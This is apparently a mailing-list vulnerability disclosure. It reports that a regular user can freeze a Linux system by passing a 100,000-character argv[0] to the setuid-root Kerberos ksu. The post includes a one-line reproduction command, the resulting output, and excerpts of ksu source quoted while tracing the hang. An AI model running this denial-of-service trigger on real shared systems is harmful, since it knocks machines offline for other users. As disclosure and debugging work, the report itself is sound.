A regular user can lock up a system by executing ksu(suid root) with an
argv[0] replaced with alot of data.  I tried it with 100k and you can see
in the example below what happened. (FYI ksu as in the kerberos su, to
avoid any confusion)

For example:
(for the example I will abbreviate the 100000 A's in the output as <CHUNK>)

bash-2.04$ doexec ksu `perl -e'print "A" x 100000;'`
WARNING: Your password may be exposed if you enter it here and are logged
         in remotely using an unsecure (non-encrypted) channel.
Kerberos password for root: <hit Ctrl-C> <CHUNK>: Password read
interrupted while reading password for 'root'

Authentication failed.
<CHUNK>[1124]: '<CHUNK> root' authentication failed for www on /dev/pts/2
<system is now locked up completely>

Nothing can be done.  The system is completely locked up after about 10-15
seconds and after that period of time the system will not respond to
anything.  I've been trying to track it down and I think this is where it
is freezing as far as program execution goes:
main.c:
                if (auth_val ==FALSE){
                        fprintf(stderr, "Authentication failed.\n");
                         syslog(LOG_WARNING,
                                "'%s %s' authentication failed for %s%s",
                                prog_name,target_user,source_user,ontty());
                        sweep_up(ksu_context, use_source_cache, cc_target);
                        exit(1);
                }

Since fprintf and syslog are being executed and exit(1) never seems to
happen the problem must be somewhere in sweep_up function, unless syslog
never exits which is unlikely.  The part of the sweep_up function below is
as far as I can guess is triggering the problem, though I'm not sure where
exactly.  The thing that stands out to me is the fact the com_err never
gets displayed.
main.c:
if (! use_source_cache){
                cc_name = krb5_cc_get_name(context, cc);
                if ( ! stat(cc_name, &st_temp)){
                        if ((retval = krb5_cc_destroy(context, cc))){
                                com_err(prog_name, retval,
                                        "while destroying cache");
                        }
                }
        }
}

This was done using latest kerberos packages from rawhide and 2.3.99-pre5
kernel.

-Stan Bubrouski